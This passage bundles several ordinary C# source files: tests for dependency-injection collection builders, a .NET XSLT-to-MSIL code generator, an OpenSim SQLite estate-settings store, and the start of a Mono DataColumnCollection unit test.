Assert.Throws<InvalidOperationException>(() =>
builder.InsertBefore<Resolved2, Resolved3>());
}
[Test]
public void ScopeBuilderCreatesScopedCollection()
{
_composition.WithCollectionBuilder<TestCollectionBuilderScope>()
.Append<Resolved1>()
.Append<Resolved2>();
// CreateCollection creates a new collection each time
// but the container manages the scope, so to test the scope
// the collection must come from the container.
IServiceProvider factory = _composition.CreateServiceProvider();
using (IServiceScope scope = factory.CreateScope())
{
TestCollection col1 = scope.ServiceProvider.GetRequiredService<TestCollection>();
AssertCollection(col1, typeof(Resolved1), typeof(Resolved2));
TestCollection col2 = scope.ServiceProvider.GetRequiredService<TestCollection>();
AssertCollection(col2, typeof(Resolved1), typeof(Resolved2));
AssertSameCollection(scope.ServiceProvider, col1, col2);
}
}
[Test]
public void TransientBuilderCreatesTransientCollection()
{
_composition.WithCollectionBuilder<TestCollectionBuilderTransient>()
.Append<Resolved1>()
.Append<Resolved2>();
// CreateCollection creates a new collection each time
// but the container manages the scope, so to test the scope
// the collection must come from the container.
IServiceProvider factory = _composition.CreateServiceProvider();
TestCollection col1 = factory.GetRequiredService<TestCollection>();
AssertCollection(col1, typeof(Resolved1), typeof(Resolved2));
TestCollection col2 = factory.GetRequiredService<TestCollection>();
AssertCollection(col1, typeof(Resolved1), typeof(Resolved2));
AssertNotSameCollection(col1, col2);
}
[Test]
public void BuilderRespectsTypesOrder()
{
TestCollectionBuilderTransient builder = _composition.WithCollectionBuilder<TestCollectionBuilderTransient>()
.Append<Resolved3>()
.Insert<Resolved1>()
.InsertBefore<Resolved3, Resolved2>();
IServiceProvider factory = _composition.CreateServiceProvider();
TestCollection col1 = builder.CreateCollection(factory);
AssertCollection(col1, typeof(Resolved1), typeof(Resolved2), typeof(Resolved3));
}
[Test]
public void ScopeBuilderRespectsContainerScope()
{
_composition.WithCollectionBuilder<TestCollectionBuilderScope>()
.Append<Resolved1>()
.Append<Resolved2>();
// CreateCollection creates a new collection each time
// but the container manages the scope, so to test the scope
// the collection must come from the container/
IServiceProvider serviceProvider = _composition.CreateServiceProvider();
TestCollection col1A, col1B;
using (IServiceScope scope = serviceProvider.CreateScope())
{
col1A = scope.ServiceProvider.GetRequiredService<TestCollection>();
col1B = scope.ServiceProvider.GetRequiredService<TestCollection>();
AssertCollection(col1A, typeof(Resolved1), typeof(Resolved2));
AssertCollection(col1B, typeof(Resolved1), typeof(Resolved2));
AssertSameCollection(serviceProvider, col1A, col1B);
}
TestCollection col2;
using (IServiceScope scope = serviceProvider.CreateScope())
{
col2 = scope.ServiceProvider.GetRequiredService<TestCollection>();
// NOTE: We must assert here so that the lazy collection is resolved
// within this service provider scope, else if you resolve the collection
// after the service provider scope is disposed, you'll get an object
// disposed error (expected).
AssertCollection(col2, typeof(Resolved1), typeof(Resolved2));
}
AssertNotSameCollection(col1A, col2);
}
[Test]
public void WeightedBuilderCreatesWeightedCollection()
{
TestCollectionBuilderWeighted builder = _composition.WithCollectionBuilder<TestCollectionBuilderWeighted>()
.Add<Resolved1>()
.Add<Resolved2>();
IServiceProvider factory = _composition.CreateServiceProvider();
TestCollection col = builder.CreateCollection(factory);
AssertCollection(col, typeof(Resolved2), typeof(Resolved1));
}
[Test]
public void WeightedBuilderSetWeight()
{
var builder = _composition.WithCollectionBuilder<TestCollectionBuilderWeighted>()
.Add<Resolved1>()
.Add<Resolved2>();
builder.SetWeight<Resolved1>(10);
var factory = _composition.CreateServiceProvider();
var col = builder.CreateCollection(factory);
AssertCollection(col, typeof(Resolved1), typeof(Resolved2));
}
private static void AssertCollection(IEnumerable<Resolved> col, params Type[] expected)
{
Resolved[] colA = col.ToArray();
Assert.AreEqual(expected.Length, colA.Length);
for (int i = 0; i < expected.Length; i++)
{
Assert.IsInstanceOf(expected[i], colA[i]);
}
}
private static void AssertSameCollection(IServiceProvider factory, IEnumerable<Resolved> col1, IEnumerable<Resolved> col2)
{
Assert.AreSame(col1, col2);
Resolved[] col1A = col1.ToArray();
Resolved[] col2A = col2.ToArray();
Assert.AreEqual(col1A.Length, col2A.Length);
// Ensure each item in each collection is the same but also
// resolve each item from the factory to ensure it's also the same since
// it should have the same lifespan.
for (int i = 0; i < col1A.Length; i++)
{
Assert.AreSame(col1A[i], col2A[i]);
object itemA = factory.GetRequiredService(col1A[i].GetType());
object itemB = factory.GetRequiredService(col2A[i].GetType());
Assert.AreSame(itemA, itemB);
}
}
private static void AssertNotSameCollection(IEnumerable<Resolved> col1, IEnumerable<Resolved> col2)
{
Assert.AreNotSame(col1, col2);
Resolved[] col1A = col1.ToArray();
Resolved[] col2A = col2.ToArray();
Assert.AreEqual(col1A.Length, col2A.Length);
for (int i = 0; i < col1A.Length; i++)
{
Assert.AreNotSame(col1A[i], col2A[i]);
}
}
public abstract class Resolved
{
}
public class Resolved1 : Resolved
{
}
[Weight(50)] // default is 100
public class Resolved2 : Resolved
{
}
public class Resolved3 : Resolved
{
}
public class Resolved4 // not! : Resolved
{
}
// ReSharper disable once ClassNeverInstantiated.Local
private class TestCollectionBuilder : OrderedCollectionBuilderBase<TestCollectionBuilder, TestCollection, Resolved>
{
protected override TestCollectionBuilder This => this;
}
// ReSharper disable once ClassNeverInstantiated.Local
private class TestCollectionBuilderTransient : OrderedCollectionBuilderBase<TestCollectionBuilderTransient, TestCollection, Resolved>
{
protected override TestCollectionBuilderTransient This => this;
protected override ServiceLifetime CollectionLifetime => ServiceLifetime.Transient; // transient
}
// ReSharper disable once ClassNeverInstantiated.Local
private class TestCollectionBuilderScope : OrderedCollectionBuilderBase<TestCollectionBuilderScope, TestCollection, Resolved>
{
protected override TestCollectionBuilderScope This => this;
protected override ServiceLifetime CollectionLifetime => ServiceLifetime.Scoped;
}
// ReSharper disable once ClassNeverInstantiated.Local
private class TestCollectionBuilderWeighted : WeightedCollectionBuilderBase<TestCollectionBuilderWeighted, TestCollection, Resolved>
{
protected override TestCollectionBuilderWeighted This => this;
}
// ReSharper disable once ClassNeverInstantiated.Local
private class TestCollection : BuilderCollectionBase<Resolved>
{
public TestCollection(Func<IEnumerable<Resolved>> items) : base(items)
{
}
}
}
}
| |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System.Collections;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Reflection.Emit;
using System.Security;
using System.Xml.XPath;
using System.Xml.Xsl.IlGen;
using System.Xml.Xsl.Qil;
using System.Xml.Xsl.Runtime;
using System.Runtime.Versioning;
namespace System.Xml.Xsl
{
internal delegate void ExecuteDelegate(XmlQueryRuntime runtime);
/// <summary>
/// This internal class is the entry point for creating Msil assemblies from QilExpression.
/// </summary>
/// <remarks>
/// Generate will return an AssemblyBuilder with the following setup:
/// Assembly Name = "MS.Internal.Xml.CompiledQuery"
/// Module Dll Name = "MS.Internal.Xml.CompiledQuery.dll"
/// public class MS.Internal.Xml.CompiledQuery.Test {
/// public static void Execute(XmlQueryRuntime runtime);
/// public static void Root(XmlQueryRuntime runtime);
/// private static ... UserMethod1(XmlQueryRuntime runtime, ...);
/// ...
/// private static ... UserMethodN(XmlQueryRuntime runtime, ...);
/// }
///
/// XmlILGenerator incorporates a number of different technologies in order to generate efficient code that avoids caching
/// large result sets in memory:
///
/// 1. Code Iterators - Query results are computed using a set of composable, interlocking iterators that alone perform a
/// simple task, but together execute complex queries. The iterators are actually little blocks of code
/// that are connected to each other using a series of jumps. Because each iterator is not instantiated
/// as a separate object, the number of objects and number of function calls is kept to a minimum during
/// execution. Also, large result sets are often computed incrementally, with each iterator performing one step in a
/// pipeline of sequence items.
///
/// 2. Analyzers - During code generation, QilToMsil traverses the semantic tree representation of the query (QIL) several times.
/// As visits to each node in the tree start and end, various Analyzers are invoked. These Analyzers incrementally
/// collect and store information that is later used to generate faster and smaller code.
/// </remarks>
internal class XmlILGenerator
{
private QilExpression _qil;
private GenerateHelper _helper;
private XmlILOptimizerVisitor _optVisitor;
private XmlILVisitor _xmlIlVisitor;
private XmlILModule _module;
/// <summary>
/// Always output debug information in debug mode.
/// </summary>
public XmlILGenerator()
{
}
/// <summary>
/// Given the logical query plan (QilExpression) generate a physical query plan (MSIL) that can be executed.
/// </summary>
// SxS Note: The way the trace file names are created (hardcoded) is NOT SxS safe. However the files are
// created only for internal tracing purposes. In addition XmlILTrace class is not compiled into retail
// builds. As a result it is fine to suppress the FxCop SxS warning.
public XmlILCommand Generate(QilExpression query, TypeBuilder typeBldr)
{
_qil = query;
bool useLRE = (
!_qil.IsDebug &&
(typeBldr == null)
#if DEBUG
&& !XmlILTrace.IsEnabled // Dump assembly to disk; can't do this when using LRE
#endif
);
bool emitSymbols = _qil.IsDebug;
// In debug code, ensure that input QIL is correct
QilValidationVisitor.Validate(_qil);
#if DEBUG
// Trace Qil before optimization
XmlILTrace.WriteQil(this.qil, "qilbefore.xml");
// Trace optimizations
XmlILTrace.TraceOptimizations(this.qil, "qilopt.xml");
#endif
// Optimize and annotate the Qil graph
_optVisitor = new XmlILOptimizerVisitor(_qil, !_qil.IsDebug);
_qil = _optVisitor.Optimize();
// In debug code, ensure that output QIL is correct
QilValidationVisitor.Validate(_qil);
#if DEBUG
// Trace Qil after optimization
XmlILTrace.WriteQil(this.qil, "qilafter.xml");
#endif
// Create module in which methods will be generated
if (typeBldr != null)
{
_module = new XmlILModule(typeBldr);
}
else
{
_module = new XmlILModule(useLRE, emitSymbols);
}
// Create a code generation helper for the module; enable optimizations if IsDebug is false
_helper = new GenerateHelper(_module, _qil.IsDebug);
// Create helper methods
CreateHelperFunctions();
// Create metadata for the Execute function, which is the entry point to the query
// public static void Execute(XmlQueryRuntime);
MethodInfo methExec = _module.DefineMethod("Execute", typeof(void), new Type[] { }, new string[] { }, XmlILMethodAttributes.NonUser);
// Create metadata for the root expression
// public void Root()
Debug.Assert(_qil.Root != null);
XmlILMethodAttributes methAttrs = (_qil.Root.SourceLine == null) ? XmlILMethodAttributes.NonUser : XmlILMethodAttributes.None;
MethodInfo methRoot = _module.DefineMethod("Root", typeof(void), new Type[] { }, new string[] { }, methAttrs);
// Declare all early bound function objects
foreach (EarlyBoundInfo info in _qil.EarlyBoundTypes)
{
_helper.StaticData.DeclareEarlyBound(info.NamespaceUri, info.EarlyBoundType);
}
// Create metadata for each QilExpression function that has at least one caller
CreateFunctionMetadata(_qil.FunctionList);
// Create metadata for each QilExpression global variable and parameter
CreateGlobalValueMetadata(_qil.GlobalVariableList);
CreateGlobalValueMetadata(_qil.GlobalParameterList);
// Generate Execute method
GenerateExecuteFunction(methExec, methRoot);
// Visit the QilExpression graph
_xmlIlVisitor = new XmlILVisitor();
_xmlIlVisitor.Visit(_qil, _helper, methRoot);
// Collect all static information required by the runtime
XmlQueryStaticData staticData = new XmlQueryStaticData(
_qil.DefaultWriterSettings,
_qil.WhitespaceRules,
_helper.StaticData
);
// Create static constructor that initializes XmlQueryStaticData instance at runtime
if (typeBldr != null)
{
CreateTypeInitializer(staticData);
// Finish up creation of the type
_module.BakeMethods();
return null;
}
else
{
// Finish up creation of the type
_module.BakeMethods();
// Create delegate over "Execute" method
ExecuteDelegate delExec = (ExecuteDelegate)_module.CreateDelegate("Execute", typeof(ExecuteDelegate));
return new XmlILCommand(delExec, staticData);
}
}
/// <summary>
/// Create MethodBuilder metadata for the specified QilExpression function. Annotate ndFunc with the
/// MethodBuilder. Also, each QilExpression argument type should be converted to a corresponding Clr type.
/// Each argument QilExpression node should be annotated with the resulting ParameterBuilder.
/// </summary>
private void CreateFunctionMetadata(IList<QilNode> funcList)
{
MethodInfo methInfo;
Type[] paramTypes;
string[] paramNames;
Type typReturn;
XmlILMethodAttributes methAttrs;
foreach (QilFunction ndFunc in funcList)
{
paramTypes = new Type[ndFunc.Arguments.Count];
paramNames = new string[ndFunc.Arguments.Count];
// Loop through all other parameters and save their types in the array
for (int arg = 0; arg < ndFunc.Arguments.Count; arg++)
{
QilParameter ndParam = (QilParameter)ndFunc.Arguments[arg];
Debug.Assert(ndParam.NodeType == QilNodeType.Parameter);
// Get the type of each argument as a Clr type
paramTypes[arg] = XmlILTypeHelper.GetStorageType(ndParam.XmlType);
// Get the name of each argument
if (ndParam.DebugName != null)
paramNames[arg] = ndParam.DebugName;
}
// Get the type of the return value
if (XmlILConstructInfo.Read(ndFunc).PushToWriterLast)
{
// Push mode functions do not have a return value
typReturn = typeof(void);
}
else
{
// Pull mode functions have a return value
typReturn = XmlILTypeHelper.GetStorageType(ndFunc.XmlType);
}
// Create the method metadata
methAttrs = ndFunc.SourceLine == null ? XmlILMethodAttributes.NonUser : XmlILMethodAttributes.None;
methInfo = _module.DefineMethod(ndFunc.DebugName, typReturn, paramTypes, paramNames, methAttrs);
for (int arg = 0; arg < ndFunc.Arguments.Count; arg++)
{
// Set location of parameter on Let node annotation
XmlILAnnotation.Write(ndFunc.Arguments[arg]).ArgumentPosition = arg;
}
// Annotate function with the MethodInfo
XmlILAnnotation.Write(ndFunc).FunctionBinding = methInfo;
}
}
/// <summary>
/// Generate metadata for a method that calculates a global value.
/// </summary>
private void CreateGlobalValueMetadata(IList<QilNode> globalList)
{
MethodInfo methInfo;
Type typReturn;
XmlILMethodAttributes methAttrs;
foreach (QilReference ndRef in globalList)
{
// public T GlobalValue()
typReturn = XmlILTypeHelper.GetStorageType(ndRef.XmlType);
methAttrs = ndRef.SourceLine == null ? XmlILMethodAttributes.NonUser : XmlILMethodAttributes.None;
methInfo = _module.DefineMethod(ndRef.DebugName.ToString(), typReturn, new Type[] { }, new string[] { }, methAttrs);
// Annotate function with MethodBuilder
XmlILAnnotation.Write(ndRef).FunctionBinding = methInfo;
}
}
/// <summary>
/// Generate the "Execute" method, which is the entry point to the query.
/// </summary>
private MethodInfo GenerateExecuteFunction(MethodInfo methExec, MethodInfo methRoot)
{
_helper.MethodBegin(methExec, null, false);
// Force some or all global values to be evaluated at start of query
EvaluateGlobalValues(_qil.GlobalVariableList);
EvaluateGlobalValues(_qil.GlobalParameterList);
// Root(runtime);
_helper.LoadQueryRuntime();
_helper.Call(methRoot);
_helper.MethodEnd();
return methExec;
}
/// <summary>
/// Create and generate various helper methods, which are called by the generated code.
/// </summary>
private void CreateHelperFunctions()
{
MethodInfo meth;
Label lblClone;
// public static XPathNavigator SyncToNavigator(XPathNavigator, XPathNavigator);
meth = _module.DefineMethod(
"SyncToNavigator",
typeof(XPathNavigator),
new Type[] { typeof(XPathNavigator), typeof(XPathNavigator) },
new string[] { null, null },
XmlILMethodAttributes.NonUser | XmlILMethodAttributes.Raw);
_helper.MethodBegin(meth, null, false);
// if (navigatorThis != null && navigatorThis.MoveTo(navigatorThat))
// return navigatorThis;
lblClone = _helper.DefineLabel();
_helper.Emit(OpCodes.Ldarg_0);
_helper.Emit(OpCodes.Brfalse, lblClone);
_helper.Emit(OpCodes.Ldarg_0);
_helper.Emit(OpCodes.Ldarg_1);
_helper.Call(XmlILMethods.NavMoveTo);
_helper.Emit(OpCodes.Brfalse, lblClone);
_helper.Emit(OpCodes.Ldarg_0);
_helper.Emit(OpCodes.Ret);
// LabelClone:
// return navigatorThat.Clone();
_helper.MarkLabel(lblClone);
_helper.Emit(OpCodes.Ldarg_1);
_helper.Call(XmlILMethods.NavClone);
_helper.MethodEnd();
}
/// <summary>
/// Generate code to force evaluation of some or all global variables and/or parameters.
/// </summary>
private void EvaluateGlobalValues(IList<QilNode> iterList)
{
MethodInfo methInfo;
foreach (QilIterator ndIter in iterList)
{
// Evaluate global if generating debug code, or if global might have side effects
if (_qil.IsDebug || OptimizerPatterns.Read(ndIter).MatchesPattern(OptimizerPatternName.MaybeSideEffects))
{
// Get MethodInfo that evaluates the global value and discard its return value
methInfo = XmlILAnnotation.Write(ndIter).FunctionBinding;
Debug.Assert(methInfo != null, "MethodInfo for global value should have been created previously.");
_helper.LoadQueryRuntime();
_helper.Call(methInfo);
_helper.Emit(OpCodes.Pop);
}
}
}
/// <summary>
/// Create static constructor that initializes XmlQueryStaticData instance at runtime.
/// </summary>
public void CreateTypeInitializer(XmlQueryStaticData staticData)
{
byte[] data;
Type[] ebTypes;
FieldInfo fldInitData, fldData, fldTypes;
ConstructorInfo cctor;
staticData.GetObjectData(out data, out ebTypes);
fldInitData = _module.DefineInitializedData("__" + XmlQueryStaticData.DataFieldName, data);
fldData = _module.DefineField(XmlQueryStaticData.DataFieldName, typeof(object));
fldTypes = _module.DefineField(XmlQueryStaticData.TypesFieldName, typeof(Type[]));
cctor = _module.DefineTypeInitializer();
_helper.MethodBegin(cctor, null, false);
// s_data = new byte[s_initData.Length] { s_initData };
_helper.LoadInteger(data.Length);
_helper.Emit(OpCodes.Newarr, typeof(byte));
_helper.Emit(OpCodes.Dup);
_helper.Emit(OpCodes.Ldtoken, fldInitData);
_helper.Call(XmlILMethods.InitializeArray);
_helper.Emit(OpCodes.Stsfld, fldData);
if (ebTypes != null)
{
// Type[] types = new Type[s_ebTypes.Length];
LocalBuilder locTypes = _helper.DeclareLocal("$$$types", typeof(Type[]));
_helper.LoadInteger(ebTypes.Length);
_helper.Emit(OpCodes.Newarr, typeof(Type));
_helper.Emit(OpCodes.Stloc, locTypes);
for (int idx = 0; idx < ebTypes.Length; idx++)
{
// types[idx] = ebTypes[idx];
_helper.Emit(OpCodes.Ldloc, locTypes);
_helper.LoadInteger(idx);
_helper.LoadType(ebTypes[idx]);
_helper.Emit(OpCodes.Stelem_Ref);
}
// s_types = types;
_helper.Emit(OpCodes.Ldloc, locTypes);
_helper.Emit(OpCodes.Stsfld, fldTypes);
}
_helper.MethodEnd();
}
}
}
| |
/*
* Copyright (c) Contributors, http://opensimulator.org/
* See CONTRIBUTORS.TXT for a full list of copyright holders.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the OpenSimulator Project nor the
* names of its contributors may be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE DEVELOPERS ``AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE CONTRIBUTORS BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
using System;
using System.Collections.Generic;
using System.Data;
using System.Reflection;
using log4net;
using Mono.Data.Sqlite;
using OpenMetaverse;
using OpenSim.Framework;
using OpenSim.Region.Framework.Interfaces;
namespace OpenSim.Data.SQLite
{
public class SQLiteEstateStore : IEstateDataStore
{
private static readonly ILog m_log =
LogManager.GetLogger(MethodBase.GetCurrentMethod().DeclaringType);
private SqliteConnection m_connection;
private string m_connectionString;
private FieldInfo[] m_Fields;
private Dictionary<string, FieldInfo> m_FieldMap =
new Dictionary<string, FieldInfo>();
public void Initialise(string connectionString)
{
m_connectionString = connectionString;
m_log.Info("[ESTATE DB]: Sqlite - connecting: "+m_connectionString);
m_connection = new SqliteConnection(m_connectionString);
m_connection.Open();
Assembly assem = GetType().Assembly;
Migration m = new Migration(m_connection, assem, "EstateStore");
m.Update();
//m_connection.Close();
// m_connection.Open();
Type t = typeof(EstateSettings);
m_Fields = t.GetFields(BindingFlags.NonPublic |
BindingFlags.Instance |
BindingFlags.DeclaredOnly);
foreach (FieldInfo f in m_Fields)
if (f.Name.Substring(0, 2) == "m_")
m_FieldMap[f.Name.Substring(2)] = f;
}
private string[] FieldList
{
get { return new List<string>(m_FieldMap.Keys).ToArray(); }
}
public EstateSettings LoadEstateSettings(UUID regionID)
{
EstateSettings es = new EstateSettings();
es.OnSave += StoreEstateSettings;
string sql = "select estate_settings."+String.Join(",estate_settings.", FieldList)+" from estate_map left join estate_settings on estate_map.EstateID = estate_settings.EstateID where estate_settings.EstateID is not null and RegionID = :RegionID";
SqliteCommand cmd = (SqliteCommand)m_connection.CreateCommand();
cmd.CommandText = sql;
cmd.Parameters.AddWithValue(":RegionID", regionID.ToString());
IDataReader r = cmd.ExecuteReader();
if (r.Read())
{
foreach (string name in FieldList)
{
if (m_FieldMap[name].GetValue(es) is bool)
{
int v = Convert.ToInt32(r[name]);
if (v != 0)
m_FieldMap[name].SetValue(es, true);
else
m_FieldMap[name].SetValue(es, false);
}
else if (m_FieldMap[name].GetValue(es) is UUID)
{
UUID uuid = UUID.Zero;
UUID.TryParse(r[name].ToString(), out uuid);
m_FieldMap[name].SetValue(es, uuid);
}
else
{
m_FieldMap[name].SetValue(es, Convert.ChangeType(r[name], m_FieldMap[name].FieldType));
}
}
r.Close();
}
else
{
// Migration case
//
r.Close();
List<string> names = new List<string>(FieldList);
names.Remove("EstateID");
sql = "insert into estate_settings ("+String.Join(",", names.ToArray())+") values ( :"+String.Join(", :", names.ToArray())+")";
cmd.CommandText = sql;
cmd.Parameters.Clear();
foreach (string name in FieldList)
{
if (m_FieldMap[name].GetValue(es) is bool)
{
if ((bool)m_FieldMap[name].GetValue(es))
cmd.Parameters.AddWithValue(":"+name, "1");
else
cmd.Parameters.AddWithValue(":"+name, "0");
}
else
{
cmd.Parameters.AddWithValue(":"+name, m_FieldMap[name].GetValue(es).ToString());
}
}
cmd.ExecuteNonQuery();
cmd.CommandText = "select LAST_INSERT_ROWID() as id";
cmd.Parameters.Clear();
r = cmd.ExecuteReader();
r.Read();
es.EstateID = Convert.ToUInt32(r["id"]);
r.Close();
cmd.CommandText = "insert into estate_map values (:RegionID, :EstateID)";
cmd.Parameters.AddWithValue(":RegionID", regionID.ToString());
cmd.Parameters.AddWithValue(":EstateID", es.EstateID.ToString());
// This will throw on dupe key
try
{
cmd.ExecuteNonQuery();
}
catch (Exception)
{
}
// Munge and transfer the ban list
//
cmd.Parameters.Clear();
cmd.CommandText = "insert into estateban select "+es.EstateID.ToString()+", bannedUUID, bannedIp, bannedIpHostMask, '' from regionban where regionban.regionUUID = :UUID";
cmd.Parameters.AddWithValue(":UUID", regionID.ToString());
try
{
cmd.ExecuteNonQuery();
}
catch (Exception)
{
}
es.Save();
}
LoadBanList(es);
es.EstateManagers = LoadUUIDList(es.EstateID, "estate_managers");
es.EstateAccess = LoadUUIDList(es.EstateID, "estate_users");
es.EstateGroups = LoadUUIDList(es.EstateID, "estate_groups");
return es;
}
public void StoreEstateSettings(EstateSettings es)
{
List<string> fields = new List<string>(FieldList);
fields.Remove("EstateID");
List<string> terms = new List<string>();
foreach (string f in fields)
terms.Add(f+" = :"+f);
string sql = "update estate_settings set "+String.Join(", ", terms.ToArray())+" where EstateID = :EstateID";
SqliteCommand cmd = (SqliteCommand)m_connection.CreateCommand();
cmd.CommandText = sql;
foreach (string name in FieldList)
{
if (m_FieldMap[name].GetValue(es) is bool)
{
if ((bool)m_FieldMap[name].GetValue(es))
cmd.Parameters.AddWithValue(":"+name, "1");
else
cmd.Parameters.AddWithValue(":"+name, "0");
}
else
{
cmd.Parameters.AddWithValue(":"+name, m_FieldMap[name].GetValue(es).ToString());
}
}
cmd.ExecuteNonQuery();
SaveBanList(es);
SaveUUIDList(es.EstateID, "estate_managers", es.EstateManagers);
SaveUUIDList(es.EstateID, "estate_users", es.EstateAccess);
SaveUUIDList(es.EstateID, "estate_groups", es.EstateGroups);
}
private void LoadBanList(EstateSettings es)
{
es.ClearBans();
SqliteCommand cmd = (SqliteCommand)m_connection.CreateCommand();
cmd.CommandText = "select bannedUUID from estateban where EstateID = :EstateID";
cmd.Parameters.AddWithValue(":EstateID", es.EstateID);
IDataReader r = cmd.ExecuteReader();
while (r.Read())
{
EstateBan eb = new EstateBan();
UUID uuid = new UUID();
UUID.TryParse(r["bannedUUID"].ToString(), out uuid);
eb.BannedUserID = uuid;
eb.BannedHostAddress = "0.0.0.0";
eb.BannedHostIPMask = "0.0.0.0";
es.AddBan(eb);
}
r.Close();
}
private void SaveBanList(EstateSettings es)
{
SqliteCommand cmd = (SqliteCommand)m_connection.CreateCommand();
cmd.CommandText = "delete from estateban where EstateID = :EstateID";
cmd.Parameters.AddWithValue(":EstateID", es.EstateID.ToString());
cmd.ExecuteNonQuery();
cmd.Parameters.Clear();
cmd.CommandText = "insert into estateban (EstateID, bannedUUID, bannedIp, bannedIpHostMask, bannedNameMask) values ( :EstateID, :bannedUUID, '', '', '' )";
foreach (EstateBan b in es.EstateBans)
{
cmd.Parameters.AddWithValue(":EstateID", es.EstateID.ToString());
cmd.Parameters.AddWithValue(":bannedUUID", b.BannedUserID.ToString());
cmd.ExecuteNonQuery();
cmd.Parameters.Clear();
}
}
void SaveUUIDList(uint EstateID, string table, UUID[] data)
{
SqliteCommand cmd = (SqliteCommand)m_connection.CreateCommand();
cmd.CommandText = "delete from "+table+" where EstateID = :EstateID";
cmd.Parameters.AddWithValue(":EstateID", EstateID.ToString());
cmd.ExecuteNonQuery();
cmd.Parameters.Clear();
cmd.CommandText = "insert into "+table+" (EstateID, uuid) values ( :EstateID, :uuid )";
foreach (UUID uuid in data)
{
cmd.Parameters.AddWithValue(":EstateID", EstateID.ToString());
cmd.Parameters.AddWithValue(":uuid", uuid.ToString());
cmd.ExecuteNonQuery();
cmd.Parameters.Clear();
}
}
UUID[] LoadUUIDList(uint EstateID, string table)
{
List<UUID> uuids = new List<UUID>();
SqliteCommand cmd = (SqliteCommand)m_connection.CreateCommand();
cmd.CommandText = "select uuid from "+table+" where EstateID = :EstateID";
cmd.Parameters.AddWithValue(":EstateID", EstateID);
IDataReader r = cmd.ExecuteReader();
while (r.Read())
{
// EstateBan eb = new EstateBan();
UUID uuid = new UUID();
UUID.TryParse(r["uuid"].ToString(), out uuid);
uuids.Add(uuid);
}
r.Close();
return uuids.ToArray();
}
}
}
| |
// Authors:
// Rafael Mizrahi <rafim@mainsoft.com>
// Erez Lotan <erezl@mainsoft.com>
// Oren Gurfinkel <oreng@mainsoft.com>
// Ofer Borstein
//
// Copyright (c) 2004 Mainsoft Co.
//
// Permission is hereby granted, free of charge, to any person obtaining
// a copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to
// permit persons to whom the Software is furnished to do so, subject to
// the following conditions:
//
// The above copyright notice and this permission notice shall be
// included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
//
using NUnit.Framework;
using System;
using System.Data;
using GHTUtils;
using GHTUtils.Base;
namespace tests.system_data_dll.System_Data
{
[TestFixture] public class DataColumnCollection_Add : GHTBase
{
[Test] public void Main()
{
DataColumnCollection_Add tc = new DataColumnCollection_Add();
Exception exp = null;
try
{
tc.BeginTest("DataColumnCollection_Add");
tc.run();
}
catch(Exception ex)
{
exp = ex;
}
finally
{
tc.EndTest(exp);
}
}
//Activate This Construntor to log All To Standard output
//public TestClass():base(true){}
//Activate this constructor to log Failures to a log file
//public TestClass(System.IO.TextWriter tw):base(tw, false){}
//Activate this constructor to log All to a log file
//public TestClass(System.IO.TextWriter tw):base(tw, true){}
//BY DEFAULT LOGGING IS DONE TO THE STANDARD OUTPUT ONLY FOR FAILURES
public void run()
{
Exception exp = null;
DataColumn dc = null;
DataTable dt = new DataTable();
//----------------------------- check default --------------------
dc = dt.Columns.Add();
try
{
BeginCase("Add column 1");
Compare(dc.ColumnName, "Column1");
}
catch(Exception ex){exp = ex;}
finally{EndCase(exp);exp = null;}
dc = dt.Columns.Add();
try
{
BeginCase("Add column 2");
Compare(dc.ColumnName, "Column2");
}
catch(Exception ex){exp = ex;}
finally{EndCase(exp);exp = null;}
dc = dt.Columns.Add();
try
{
BeginCase("Add column 3");
Compare(dc.ColumnName, "Column3");
}
catch(Exception ex){exp = ex;}
finally{EndCase(exp);exp = null;}
dc = dt.Columns.Add();
try
{
BeginCase("Add column 4");
Compare(dc.ColumnName, "Column4");
}
catch(Exception ex){exp = ex;}
finally{EndCase(exp);exp = null;}
dc = dt.Columns.Add();
try
{
BeginCase("Add column 5");
Compare(dc.ColumnName, "Column5");
Compare(dt.Columns.Count,5);
}
catch(Exception ex){exp = ex;}
finally{EndCase(exp);exp = null;}
//----------------------------- check Add/Remove from begining --------------------
dt = initTable();
dt.Columns.Remove(dt.Columns[0]);
dt.Columns.Remove(dt.Columns[0]);
dt.Columns.Remove(dt.Columns[0]);
try
{
BeginCase("check column 4 - remove - from begining");
